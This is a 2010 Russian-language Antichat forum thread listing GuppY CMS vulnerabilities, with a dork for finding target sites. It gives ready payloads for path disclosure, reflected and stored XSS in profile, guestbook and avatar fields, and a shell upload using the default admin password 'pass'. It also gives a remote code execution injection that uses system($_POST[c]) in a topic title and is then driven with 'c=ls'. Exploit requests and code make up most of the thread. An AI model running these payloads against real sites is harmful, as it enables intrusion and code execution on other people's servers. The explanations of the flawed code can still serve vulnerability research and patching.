ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Уязвимости GuppY CMS
  #1  
Старый 21.01.2010, 15:46
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию Уязвимости GuppY CMS

Продукт: GuppY CMS
Сайт: www.freeguppy.org
Дорк: "Site powered by GuppY" | "Site créé avec GuppY"
Уязвимости приблизительно отсортированы по возрастанию критичности

Уязвимость: Раскрытие путей
Условия: --
Описание:
Уязвимость возникает из-за недостаточной фильтрации параметров даты в скриптах inc\calendar.php (функция mktime(), параметры mois и anee), photoview.php (функция getimagesize(), параметр pg).
Раскрытие даёт функция mktime() при обработке параметров mois и annee.
Эксплуатация:
Код:
GET inc/calendar.php?lng=ru&mois='&annee='
GET photoview.php?lng=ru&pg='

Уязвимость: Вывод произвольных переменных
Условия: --
Описание:
Уязвимость возникает из-за недостаточной фильтрации параметров в различных скриптах. Например, в error.php и thread.php
Атакующий может внедрить в php-код вывод произвольной переменной. Происходит это, поскольку входящие данные записываются в следующем виде (на примере error.php):
PHP код:
$mettre = "<?php 
\$err = \"$err\"; 
\$msg0 = \"
$msg0\"; 
\$msg1 = \"
$msg1\"; 
\$msg2 = \"
$msg2\"; 
\$date = \"Date : 
$date\"; 
\$dest = \"Page requested : 
$dest\"; 
\$source = \"Page source : 
$HTTP_REFERER\"; 
\$browser = \"Browser : 
$HTTP_USER_AGENT\"; 
\$addr_ip = \"IP address : 
$REMOTE_ADDR\"; 
\$domaine = \"Domaine : 
$domaine\"; 
\$with_mail = 
$with_mail
?>"
;  

  
$id date('Ymd_His_').$err
  
WriteFullDB(DATAREP."error/".$id.INCEXT$mettre); 

  
header("location:".$site[3]."error.php?id=".$id);
В самом error.php файл БД с данными из $mettre инклудится. Выйти за пределы кавычек и выполнить произвольный код не получается из-за addslashes().
Но можно вывести переменные php, доступные из этого скрипта.
Эксплуатация:
Пример вывода DOCUMENT_ROOT
Код:
GET error.php?err=1
User-Agent: $_SERVER[DOCUMENT_ROOT]

Уязвимость: Пассивная XSS
Условия: --
Описание:
Уязвимость возникает из-за причин, описанных выше.
Можно внедрить в php-код вывод произвольных переменных, в том числе из $_GET[].
Атакующий может сформировать страницу, на которой будет присутствовать пассивная XSS
Эксплуатация:
Создаём тему, в заголовок вставляем имена нужных переменных:
Код:
POST postguest.php ptit=$_GET[a]$_GET[с]
Теперь вызываем тему с дополнительными get-параметрами:
Код:
GET thread.php a=<script>alert()</scrip&с=t>
Разбивать вывод приходится из-за некоторой фильтрации, которая не пропускает закрывающийся тег </script> целиком из-за строчки в \inc\includes.inc:
PHP код:
if (@preg_match("!//|/\*|#|:/|\.\./|%2E\./|\.%2E/|%2E%2E/|document.cookie|/script!i"$_SERVER["QUERY_STRING"])) { 
    die(
"Requкte non autorisйe - Request not allowed"); 


Уязвимость: Полуактивная XSS
Условия: --
Описание:
Уязвимость возникает из-за недостаточной фильтрации в модуле профиля.
Атакующий может с помощью специально сформированного запроса создать страницу с внедрённым js-кодом, требующим для выполнения некоторых действий.
Эксплуатация:
В профиле в e-mail пишем:
Код:
POST user.php uemail=" onmouseover=alert() asd="
(IE):
Код:
POST user.php uemail=" style='background-image: url(javascript:alert());' asd="
Это даст XSS в поле подписки на новости (событие onmouseover).

Уязвимость: Выполнение произвольного кода (заливка шелла)
Условия: права администратора
Описание:
Уязвимость возникает из-за недостаточной фильтрации параметров загружаемого файла в скрипте admin\inc\upload.inc.
Атакующий может загрузить на сервер произвольный файл, например, php-шелл, который будет выполняться, поскольку файл .htaccess не сконфигурирован должным образом.
Эксплуатация:
В админцентре (admin.php) в разделе "Файлы сайта" (admin.php?pg=upload) заливаем шелл.
Пароль от админцентра по умолчанию "pass".

Уязвимость: Активная XSS
Условия: --
Описание:
Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле профиля.
В скрипте user.php есть строчки:
PHP код:
$uwebesite = strip_tags($uwebesite);
...
$userprefs[9] = $uwebesite;
...
<input class="texte" type="text" name="uwebesite" size="40" value="<? if ($userprefs[9]) echo $userprefs[9]; else echo "http://" ?>">
Видно, что переменная, содержащая адрес сайта, указанный пользователем в профиле, не обрабатывается должным образом.
Эксплуатация:
Аналогично XSS в гостевой.
Код:
POST purl=" onmouseover=alert() asd="
(IE):
Код:
POST purl=" style='background-image: url(javascript:alert());' asd="

Уязвимость: Активная XSS
Условия: --
Описание:
Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле гостевой книги и форума.
В скрипте postguest.php есть строчки:
PHP код:
$purl     import('purl''POST');
...
$purl CutLongWord($purl,80);
...
$data[9] = $purl;
...
$fieldb1 addslashes(stripslashes($data[9])); 
А в скрипте
PHP код:
guestbk.php 
есть строчка:
PHP код:
echo "<br /> 
<img src=\"inc/img/general/gbkurl.gif\" width=\"17\" height=\"17\" align=\"middle\" alt=\" \">&nbsp;&nbsp;<a href=\""
.$fieldb1."\" target=\"_blank\">".$fieldb1."</a>"
Видно, что переменная, содержащая адрес сайта, введённый пользователем при отправке сообщения в гостевую не обрабатывается должным образом.
Эксплуатация:
Код:
POST user.php purl=" onmouseover=alert() asd="
На выходе имеем:
Код HTML:
<a href="" onmouseover=alert() asd="" target="_blank">" onmouseover=alert()</a>
(IE):
Код:
POST user.php purl=" style='background-image: url(javascript:alert());' asd="
На выходе имеем:
Код HTML:
<a href="" style='background-image:url(javascript:alert());' asd="" target="_blank">" style='background-image:url(javascript:alert());' asd="</a>

Уязвимость: Активная XSS
Условия: --
Описание:
Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле профиля.
В скрипте user.php есть строчки:
PHP код:
$userprefs[8]= trim($avatar);
...
$userdata $userprefs[0].CONNECTOR.$userprefs[1].CONNECTOR.$userprefs[2].CONNECTOR.$userprefs[3].CONNECTOR.$userprefs[4].CONNECTOR.$userprefs[5].CONNECTOR.$userprefs[6].CONNECTOR.$userprefs[7].CONNECTOR.$userprefs[8].CONNECTOR.$userprefs[9].CONNECTOR.$userprefs[10]; 
Видно, что переменная, содержащая адрес сайта, указанный пользователем в профиле, не обрабатывается должным образом.
А в скрипте есть следующая строчка:
PHP код:
<img border="0" src="<? echo CHEMIN?>inc/img/avatars/<? echo $page[23]; ?>/<? echo $userprefs[8]; ?>" alt="<? echo $userprefs[1]; ?>" title="<? echo $userprefs[1]; ?>">
Аналогичный вывод аватара есть и в форуме, и в гостевой.
Эксплуатация:
Можно внедрить JS-код в обработчики событий объекта img. Например:
Код:
POST user.php avatar=" onerror=alert() asd="
Данный код кроссбраузерен, на выходе мы получим:
Код HTML:
<img border="0" src="inc/img/avatars/ava_1/\\\" onerror=alert() asd=\\\"" alt="ahack" title="ahack">
Понятно, что событие error всегда произойдёт, а значит код выполнится.

Уязвимость: Выполнение произвольного кода
Условия: --
Описание:
Уязвимость возникает из-за недостаточной фильтрации параметров в различных скриптах. Например, в postguest.php.
Атакующий может внедрить в скрипт произвольный php-код.
Причины описаны выше (я тогда не понял, как выполнить произвольный код, поэтому написал лишь о выводе переменных)
Эксплуатация:
Создаём новую тему и пишем в заголовок:
Код:
POST postguest.php ptit={$beched{system($_POST[c])}}
В результате в папке /data/ появляется файл docN.inc, где N - это номер темы:
PHP код:
<?
$type 
"fr";
$fileid "90";
$status "a";
$creadate "201001242210";
$moddate "201001242210";
$author stripslashes("beched");
$email stripslashes("asd@asd.asd");
$fielda1 stripslashes("10");
$fielda2 stripslashes("0");
$fieldb1 stripslashes("{$beched{system($_POST[c])}}");
$fieldb2 stripslashes("1");
$fieldc1 stripslashes("trololo");
$fieldc2 stripslashes("");
$fieldd1 stripslashes("");
$fieldd2 stripslashes("7");
$fieldweb stripslashes("http://antichat.ru");
$fieldmail stripslashes("");
?>
Фигурные скобки {} служат в php для отделения в кавычках строки от переменных.
Таким образом, при просмотре темы имеем шелл:
Код:
POST thread.php c=ls
Надо отметить, что подобная уязвимость в данном движке (error.php) была найдена уже 3 года назад, но до сих пор не закрыта (пруфлинк).

Последний раз редактировалось Root-access; 25.01.2010 в 19:47..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Алгоритмы хэширования в различных CMS ErrorNeo Расшифровка хешей 5 02.06.2010 17:41
10 вещей, которые нужно учитывать при выборе идеальной CMS Andres Статьи 0 27.06.2009 02:38
CMS vs "изготовление на коленках" vadim_samoilov Чужие Статьи 8 19.08.2008 02:10



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ